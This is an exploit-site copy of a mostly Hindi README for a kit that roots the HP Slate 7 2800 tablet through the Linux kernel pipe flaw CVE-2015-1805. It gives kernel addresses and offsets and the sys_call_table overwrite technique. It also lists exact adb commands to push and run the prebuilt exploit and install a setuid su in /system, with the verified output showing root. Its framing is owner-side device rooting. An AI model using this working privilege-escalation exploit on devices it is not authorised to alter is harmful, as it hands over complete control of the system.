Sploitus

Exploit Code

MARKDOWN403 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VALENTINEUS-HP-SLATE7-ROOT-KIT
# HP Slate 7 2800 рдХреЗ рд▓рд┐рдП Android 4.1.1 рдкрд░ рд░реВрдЯ

**English** | ╨а╤Г╤Б╤Б╨║╨╕╨╣

рдЗрд╕ рд░рд┐рдкреЙрдЬрд╝рд┐рдЯрд░реА рдореЗрдВ **HP Slate 7 2800** рдкрд░ рд╕реНрдерд╛рдпреА рд░реВрдЯ рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрдкреВрд░реНрдг, рд╕реНрд╡-рдирд┐рд╣рд┐рдд рдХрд┐рдЯ рд╣реИ, рдЬреЛ рдлрд░реНрдорд╡реЗрдпрд░ **1.05.18** рдФрд░ рдХрд░реНрдиреЗрд▓ **Linux 3.0.8+** рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╕реНрдерд╛рдиреАрдп рднреЗрджреНрдпрддрд╛ **CVE-2015-1805** рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддрд╛ рд╣реИред рдХрд┐рдЯ рдХреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЯреИрдмрд▓реЗрдЯ рдкрд░ рдЪрд▓рд╛рдпрд╛ рдЧрдпрд╛ рдерд╛, рдФрд░ рдкрд░рд┐рдгрд╛рдо рдПрдХ рдирдП ADB рд╕рддреНрд░ рд╕реЗ рдФрд░ рд╕рд╛рдорд╛рдиреНрдп рд░рд┐рдмреВрдЯ рдХреЗ рдмрд╛рдж рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдпрд╣ рдПрдХ рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ Android рд░реВрдЯрд┐рдВрдЧ рдЯреВрд▓ рдирд╣реАрдВ рд╣реИред рдпрд╣ рд╢реЛрд╖рдг рдЗрд╕ HP рдХрд░реНрдиреЗрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реИред рдЗрд╕реЗ рдХрд┐рд╕реА рднрд┐рдиреНрди рдореЙрдбрд▓, рдлрд░реНрдорд╡реЗрдпрд░ рдпрд╛ рдХрд░реНрдиреЗрд▓ рд╕рдВрд╕реНрдХрд░рдг рдкрд░ рди рдЪрд▓рд╛рдПрдБред

## рд╕рддреНрдпрд╛рдкрд┐рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди

рдкреИрд░рд╛рдореАрдЯрд░| рд╕рддреНрдпрд╛рдкрд┐рдд рдорд╛рди  
---|---  
рдирд┐рд░реНрдорд╛рддрд╛ рдФрд░ рдореЙрдбрд▓| HP Slate 7 2800  
Android| 4.1.1, API 16, рдмрд┐рд▓реНрдб JRO03H  
рдЙрддреНрдкрд╛рдж / рдбрд┐рд╡рд╛рдЗрд╕| `t7h` / `pine`  
рдкреНрд░реЛрд╕реЗрд╕рд░| Rockchip RK3066, ARMv7  
рдмрд┐рд▓реНрдб рдлрд╝рд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ| `hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys`  
рдХрд░реНрдиреЗрд▓| `3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015`  
ABI| 32-bit ARM EABI5  
SELinux| рдХрд░реНрдиреЗрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ рдореМрдЬреВрдж рдирд╣реАрдВ (`CONFIG_SECURITY` рдЕрдХреНрд╖рдо рд╣реИ)  
`/system` рдкрд╛рд░реНрдЯрд┐рд╢рди| ext4, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдХреЗрд╡рд▓-рдкрдардиреАрдп рдорд╛рдЙрдВрдЯреЗрдб  
  
рдЖрдк рдмрд┐рдирд╛ рдХреЛрдИ рдмрджрд▓рд╛рд╡ рдХрд┐рдП рдбрд┐рд╡рд╛рдЗрд╕ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

root@kitploit:~
    
    
    adb devices -l
    adb shell getprop ro.product.model
    adb shell getprop ro.build.fingerprint
    adb shell getprop ro.build.version.sdk
    adb shell cat /proc/version
    

рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдпрджрд┐ рдлрд╝рд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рдпрд╛ рдХрд░реНрдиреЗрд▓ рд╕рдВрд╕реНрдХрд░рдг рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдЗрдирдХрд╛рд░ рдХрд░ рджреЗрдЧрд╛:

root@kitploit:~
    
    
    ./scripts/check-target.sh
    ./scripts/check-target.sh ADB_SERIAL
    

## рд░рд┐рдкреЙрдЬрд╝рд┐рдЯрд░реА рд╕рд╛рдордЧреНрд░реА

root@kitploit:~
    
    
    .
    тФЬтФАтФА bin/
    тФВ   тФЬтФАтФА hp-slate7-cve-2015-1805-root  # verified exploit
    тФВ   тФЬтФАтФА hp-slate7-install-root        # installs su into /system
    тФВ   тФФтФАтФА hp-slate7-su                  # minimal setuid-root wrapper
    тФЬтФАтФА src/
    тФВ   тФЬтФАтФА exploit/                      # CVE source and device-specific changes
    тФВ   тФЬтФАтФА installer/install-root.c      # installer source
    тФВ   тФФтФАтФА su/rootsh.S                   # minimal su source
    тФЬтФАтФА scripts/
    тФВ   тФЬтФАтФА build.sh                      # rebuilds all three ELF files
    тФВ   тФЬтФАтФА check-target.sh               # safe compatibility check
    тФВ   тФФтФАтФА root-device.sh                # verifies, uploads, and runs the kit
    тФЬтФАтФА SHA256SUMS                        # hashes of the verified bin/* files
    тФЬтФАтФА NOTICE                            # attribution for the original PoC
    тФФтФАтФА LICENSE                           # GPL-3.0
    

### рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рд░реВрдк рдФрд░ рдЙрджреНрджреЗрд╢реНрдп

рд╕рддреНрдпрд╛рдкрд┐рдд рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреА SHA-256 рдЪреЗрдХрд╕рдо:

root@kitploit:~
    
    
    6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f  bin/hp-slate7-cve-2015-1805-root
    4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a  bin/hp-slate7-install-root
    40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e  bin/hp-slate7-su
    

macOS рдкрд░ рд╕рддреНрдпрд╛рдкрди:

root@kitploit:~
    
    
    shasum -a 256 -c SHA256SUMS
    

Linux рдкрд░ рд╕рддреНрдпрд╛рдкрди:

root@kitploit:~
    
    
    sha256sum -c SHA256SUMS
    

рдЯреИрдмрд▓реЗрдЯ рдкрд░ `bin/` рд╕реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: рдпреЗ рд╡рд╣реА рдмрд╛рдЗрдЯреНрд╕ рд╣реИрдВ рдЬреЛ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХреА рдЧрдИ рдереАрдВред `build/` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реНрдерд╛рдиреАрдп рдкреБрдирд░реНрдирд┐рд░реНрдорд╛рдг рдХреЗ рд▓рд┐рдП рд╣реИ рдФрд░ Git рджреНрд╡рд╛рд░рд╛ рдЯреНрд░реИрдХ рдирд╣реАрдВ рдХреА рдЬрд╛рддреА рд╣реИред

## рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рднреЗрджреНрдпрддрд╛

CVE-2015-1805 рдкреБрд░рд╛рдиреЗ Linux рдХрд░реНрдиреЗрд▓ рдХреЗ `pipe_read()` рдФрд░ `pipe_write()` рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдиреЛрдВ рдореЗрдВ рдПрдХ рджреЛрд╖ рд╣реИред рдЬрдм рдПрдХ рдкрд░рдорд╛рдгреБ рдкреНрд░рддрд┐ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рддреА рд╣реИ, рддреЛ рдХреЛрдб рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ `iovec` рдРрд░реЗ рдХреЛ рдкрд╛рд░ рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦрддрд╛ рд╣реИ, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдПрдХ рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдЙрд╕рдХреА рд╕реАрдорд╛ рд╕реЗ рдкрд░реЗ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдПрдХ рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░-рд░рд╣рд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдореЛрд░реА рдХреЛ рджреВрд╖рд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИ, рдХрд░реНрдиреЗрд▓ рдХреЛ рдХреНрд░реИрд╢ рдХрд░ рд╕рдХрддреА рд╣реИ, рдпрд╛ рдЕрдкрдиреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛ рд╕рдХрддреА рд╣реИред рддрдВрддреНрд░ рдХрд╛ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг oss-security рдкрд░ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдлрд┐рдХреНрд╕, рдЕрдиреНрдп рд╕реНрдерд╛рдиреЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдкрд╕реНрдЯреНрд░реАрдо Linux рдХрдорд┐рдЯ `637b58c` рдФрд░ `f0d1bec` рдореЗрдВ рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдЯреИрдмрд▓реЗрдЯ рдХрд╛ `3.0.8+` рдХрд░реНрдиреЗрд▓ рднреЗрджреНрдп рд╕рд╛рдмрд┐рдд рд╣реБрдЖред рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдЙрд╕реА рд░реЗрд╕ рдХреЛ рдПрдХ рд╣рд╛рдирд┐рд░рд╣рд┐рдд рдкреНрд░реЛрдм рдХреЗ рд╕рд╛рде рдЕрд▓рдЧ рд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬрд┐рд╕рдХреЗ рджреЛрдиреЛрдВ рд▓реЗрдЦрди рд▓рдХреНрд╖реНрдп рдкрд░реАрдХреНрд╖рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рд╕рд╛рдорд╛рдиреНрдп рдореЗрдореЛрд░реА рдореЗрдВ рд╕реНрдерд┐рдд рдереЗред рдЗрд╕рдиреЗ `CVE-2015-1805: VULNERABLE` рд░рд┐рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛, рдФрд░ рдЯреИрдмрд▓реЗрдЯ ADB рдкрд░ рд╕реБрд▓рдн рдмрдирд╛ рд░рд╣рд╛ред

## рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░-рд╡реГрджреНрдзрд┐ рд╢реНрд░реГрдВрдЦрд▓рд╛

  1. рд╢реЛрд╖рдг `readv()`, рдореЗрдореЛрд░реА рдореИрдкрд┐рдВрдЧ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдФрд░ рдХрд░реНрдиреЗрд▓ рдХреЗ рднреЗрджреНрдп рдкрд╛рдЗрдк рдХреЛрдб рдореЗрдВ рдПрдХ рдмрдбрд╝реЗ `iovec` рдРрд░реЗ рдХреЗ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдмреАрдЪ рдПрдХ рд░реЗрд╕ рдмрдирд╛рддрд╛ рд╣реИред
  2. рдкрд░рд┐рдгрд╛рдореА рд░рд╛рдЗрдЯ рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡ рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ `sys_call_table` рдореЗрдВ рдЕрдкреНрд░рдпреБрдХреНрдд рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ 222 рдХреЛ рд╢реЛрд╖рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдХ рдЫреЛрдЯреЗ ARM рдЯреНрд░реИрдореНрдкреЛрд▓рд┐рди рдХреЗ рдкрддреЗ рд╕реЗ рдмрджрд▓ рджреЗрддрд╛ рд╣реИред
  3. рддрд╛рд▓рд┐рдХрд╛ рдХрд╛ рдкрддрд╛ `0xffff0008` рдкрд░ рдЙрдЪреНрдЪ рд╡реЗрдХреНрдЯрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЧрдгрдирд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рддреНрдпрд╛рдкрд┐рдд рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░, рдирд┐рд░реНрджреЗрд╢ `0xe59ff410` рд╣реИ, рдФрд░ рдЗрд╕рдХрд╛ рд▓рд┐рдЯрд░рд▓ `vector_swi = 0xc04d0d40` рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред
  4. `vector_swi` рдФрд░ `sys_call_table` рдХреЛ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ HP рдУрдкрди рд╕реЛрд░реНрд╕ 1.05.10 рдХрд░реНрдиреЗрд▓ рд╕рдВрдЧреНрд░рд╣ (рд╕рдВрдЧреНрд░рд╣ SHA-256: `dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2`) рд╕реЗ `rk30_t7h_dvt_defconfig` рдбреЗрдлрдХреЙрдиреНрдлрд╝рд┐рдЧ рдХреЗ рд╕рд╛рде рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рдЕрд╕реЗрдВрдмрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЙрдирдХрд╛ рдСрдлрд╕реЗрдЯ `0xc4` рд╣реИред рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдлрд░реНрдорд╡реЗрдпрд░ рдореЗрдВ рди рддреЛ OABI рд╣реИ рдФрд░ рди рд╣реА seccomp, рдЗрд╕рд▓рд┐рдП рддрд╛рд▓рд┐рдХрд╛ рдХрд╛ рдЕрдВрддрд┐рдо рд░рдирдЯрд╛рдЗрдо рдкрддрд╛  рд╣реИред



рдкреБрд░рд╛рдиреЗ рдХрд░реНрдиреЗрд▓ рд╣реЗрдбрд░ рд╕реЗ рдореВрд▓ `current_thread_info()` рдлрд╝рдВрдХреНрд╢рди `-O0` рдкрд░ рдЖрдзреБрдирд┐рдХ Clang рдХреЗ рд╕рд╛рде рдЕрд╕рдВрдЧрдд рдерд╛: рдПрдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдиреЗ `sp` рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рдмрдЬрд╛рдп рдПрдХ рдЕрдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╢рдмреНрдж рдкрдврд╝рд╛ рдФрд░ рдХрд░реНрдиреЗрд▓ рдХреЛ рдХреНрд░реИрд╢ рдХрд░ рд╕рдХрддрд╛ рдерд╛ред рдЗрд╕ рд░рд┐рдкреЙрдЬрд╝рд┐рдЯрд░реА рдореЗрдВ, рдЗрд╕реЗ рдПрдХ рд╕рддреНрдпрд╛рдкрд┐рдд рдиреЗрдХреЗрдб ARM рдЯреНрд░реИрдореНрдкреЛрд▓рд┐рди рд╕реЗ рдмрджрд▓ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдмрд╛рдЗрдирд░реА рд░рд┐рдкреЙрдЬрд╝рд┐рдЯрд░реА рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рд╣реИред

## рдЖрд╡рд╢реНрдпрдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░

### `bin/` рд╕реЗ рддреИрдпрд╛рд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП

  * macOS рдпрд╛ Linux рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░; рдЙрдкрдпреБрдХреНрдд ADB USB рдбреНрд░рд╛рдЗрд╡рд░ рдХреЗ рд╕рд╛рде Windows рднреА рд╕рдВрднрд╡ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ macOS рдкрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХреА рдЧрдИ рдереА;
  * Android SDK Platform Tools рд╕реЗ `adb`;
  * рдПрдХ рдХрд╛рд░реНрдпрд╢реАрд▓ USB рдбреЗрдЯрд╛ рдХреЗрдмрд▓;
  * USB рдбрд┐рдмрдЧрд┐рдВрдЧ рд╕рдХреНрд╖рдо рд╣реЛ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рдХреА RSA рдХреБрдВрдЬреА рдЯреИрдмрд▓реЗрдЯ рдкрд░ рд╕реНрд╡реАрдХреГрдд рд╣реЛред



рдЖрдкрдХреЛ Android NDK, Java, Python, fastboot, рдЕрдирд▓реЙрдХ рдХрд┐рдпрд╛ рдмреВрдЯрд▓реЛрдбрд░, рдХрд╕реНрдЯрдо рд░рд┐рдХрд╡рд░реА, рд░реВрдЯрд┐рдВрдЧ APK рдпрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдПрдХреНрд╕реЗрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред рд╢реЛрд╖рдг рдФрд░ рдкреЗрд▓реЛрдб рд╕реНрдерд┐рд░ рд░реВрдк рд╕реЗ рд▓рд┐рдВрдХ рдХрд┐рдП рдЧрдП рд╣реИрдВред

### рд╕реНрд░реЛрдд рд╕реЗ рдкреБрдирд░реНрдирд┐рд░реНрдорд╛рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП

  * Zig 0.15.2; рдкреЛрд░реНрдЯреЗрдмрд▓ рд╕рдВрдЧреНрд░рд╣ рдХреЛ рдЕрдирдкреИрдХ рдХрд░рдирд╛ рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ, рдХрд┐рд╕реА рд╕рд┐рд╕реНрдЯрдо-рд╡реНрдпрд╛рдкреА рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрдирд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ;
  * Bash;
  * рдкрд░рд┐рдгрд╛рдо рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `shasum` рдпрд╛ `sha256sum`ред



Android NDK рдЕрднреА рднреА рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ: Zig рдПрдХ ARM musl рдХреНрд░реЙрд╕-рдЯреВрд▓рдЪреЗрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

## рдЯреИрдмрд▓реЗрдЯ рддреИрдпрд╛рд░ рдХрд░рдирд╛

  1. рдЯреИрдмрд▓реЗрдЯ рдХреЛ рдХрдо рд╕реЗ рдХрдо 50% рддрдХ рдЪрд╛рд░реНрдЬ рдХрд░реЗрдВред рд╕рддреНрдпрд╛рдкрд┐рдд рд░рди рдХреЗ рджреМрд░рд╛рди рдпрд╣ рд▓рдЧрднрдЧ 80% рдкрд░ рдерд╛ред
  2. Android рдХреЛ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдмреВрдЯ рдХрд░реЗрдВ рдФрд░ рд╕реНрдХреНрд░реАрди рдЕрдирд▓реЙрдХ рдХрд░реЗрдВред
  3. рдбреЗрд╡рд▓рдкрд░ рд╡рд┐рдХрд▓реНрдк -> USB рдбрд┐рдмрдЧрд┐рдВрдЧ рд╕рдХреНрд╖рдо рдХрд░реЗрдВред
  4. рдХреЗрдмрд▓ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ рдФрд░ USB рдбрд┐рдмрдЧрд┐рдВрдЧ RSA рдкреНрд░реЙрдореНрдкреНрдЯ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ рдпрджрд┐ Android рдЗрд╕реЗ рджрд┐рдЦрд╛рддрд╛ рд╣реИред
  5. Towelroot, KingRoot рдпрд╛ рдЕрдиреНрдп рд░реВрдЯрд┐рдВрдЧ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдПрдХ рд╕рд╛рде рди рдЪрд▓рд╛рдПрдБред
  6. рдЕрдирд╛рд╡рд╢реНрдпрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдмрдВрдж рдХрд░реЗрдВред рд╢реЛрд╖рдг рдХрдИ рдереНрд░реЗрдб рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рдкреБрд░рд╛рдиреЗ рдбрд┐рд╡рд╛рдЗрд╕ рдХреА рд╕реАрдорд╛рдУрдВ рдХреЗ рдХрд░реАрдм рдкрд╣реБрдБрдЪрддрд╛ рд╣реИред



рдХрдиреЗрдХреНрд╢рди рдЬрд╛рдБрдЪреЗрдВ:

root@kitploit:~
    
    
    adb devices -l
    

рд╕реНрдерд┐рддрд┐ `device` рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП, `offline` рдпрд╛ `unauthorized` рдирд╣реАрдВред

## рд░реВрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛: рдореИрдиреБрдЕрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛

рд░рд┐рдкреЙрдЬрд╝рд┐рдЯрд░реА рд░реВрдЯ рдкрд░ рдЬрд╛рдПрдБ рдФрд░ рдкрд╣рд▓реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдбрд┐рд╡рд╛рдЗрд╕ рдмрд┐рд▓реНрдХреБрд▓ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ:

root@kitploit:~
    
    
    ./scripts/check-target.sh
    

рдпрджрд┐ рдХрдИ рдбрд┐рд╡рд╛рдЗрд╕ рдХрдиреЗрдХреНрдЯреЗрдб рд╣реИрдВ, рддреЛ `adb -s SERIAL` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд░ рдХрдорд╛рдВрдб рдореЗрдВ рд╕реАрд░рд┐рдпрд▓ рдирдВрдмрд░ рдкрд╛рд╕ рдХрд░реЗрдВ, рдпрд╛ `ANDROID_SERIAL` рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рд╕реЗрдЯ рдХрд░реЗрдВред

рддреАрдиреЛрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЙрди рдирд╛рдореЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдЬрд┐рдирдХреА рд╡реЗ рдПрдХ-рджреВрд╕рд░реЗ рд╕реЗ рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддреА рд╣реИрдВ:

root@kitploit:~
    
    
    adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
    adb push bin/hp-slate7-install-root /data/local/tmp/install-root
    adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
    

рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╕реЗрдЯ рдХрд░реЗрдВ рдФрд░ рд╕реНрдЯреЗрдЬ рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕реНрдЯреЛрд░реЗрдЬ рдкрд░ рдлреНрд▓рд╢ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
    

рд╢реЛрд╖рдг **рдПрдХ рдмрд╛рд░** рдЪрд▓рд╛рдПрдБ:

root@kitploit:~
    
    
    adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
    

рд╕рддреНрдпрд╛рдкрд┐рдд рд╕рдлрд▓ рдЖрдЙрдЯрдкреБрдЯ:

root@kitploit:~
    
    
    offset:c4
    addr:c04d0d40
        [+] Done
    restored syscall 222 to 0xc051900c
    exploit rc=0 uid=0 gid=0
    installer uid=0 gid=0
    install-su ok
    DEVICE_RC=0
    

рдпрджрд┐ рдбрд┐рд╡рд╛рдЗрд╕ рдХреБрдЫ рд╕реЗрдХрдВрдб рдХреЗ рд▓рд┐рдП ADB рд╕реЗ рдЧрд╛рдпрдм рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╢реЛрд╖рдг рдХреЛ рджреЛрдмрд╛рд░рд╛ рди рдЪрд▓рд╛рдПрдБред рдЗрд╕рдХреЗ рд╡рд╛рдкрд╕ рдЖрдиреЗ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    adb wait-for-device
    

## рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдлрд╝рд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рдФрд░ рдХрд░реНрдиреЗрд▓ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рддреА рд╣реИ, SHA-256 рд╣реИрд╢ рдХреА рдЬрд╛рдБрдЪ рдХрд░рддреА рд╣реИ, рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рддреА рд╣реИ, рдЖрдкрд╕реЗ `ROOT` рджрд░реНрдЬ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рддреА рд╣реИ, рд╢реЛрд╖рдг рдЪрд▓рд╛рддреА рд╣реИ, рдФрд░ `uid=0` рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рддреА рд╣реИ:

root@kitploit:~
    
    
    ./scripts/root-device.sh
    

рдХрдИ рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдХреЗ рд▓рд┐рдП:

root@kitploit:~
    
    
    ./scripts/root-device.sh --serial ADB_SERIAL
    

`--yes` рд╡рд┐рдХрд▓реНрдк рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рдкреБрд╖реНрдЯрд┐рдХрд░рдг рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХреЗрд╡рд▓ рдЬрд╛рдирдмреВрдЭрдХрд░ рдХрд┐рдП рдЧрдП рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рд╣реИ:

root@kitploit:~
    
    
    ./scripts/root-device.sh --serial ADB_SERIAL --yes
    

## рдкрд░рд┐рдгрд╛рдо рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдирд╛

рд░реВрдЯ рдХреЛ рдПрдХ **рдирдП** ADB рд╢реЗрд▓ рд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ, рд╢реЛрд╖рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ uid рд╕реЗ рдирд╣реАрдВ:

root@kitploit:~
    
    
    adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
    adb shell 'ls -l /system/xbin/su'
    adb shell 'cat /proc/mounts' | grep ' /system '
    

рдЕрдкреЗрдХреНрд╖рд┐рдд рдЖрдЙрдЯрдкреБрдЯ:

root@kitploit:~
    
    
    uid=2000(shell) ...
    uid=0(root) gid=0(root) ...
    SU_RC=0
    -rwsr-sr-x root root ... su
    ... /system ext4 ro,...
    

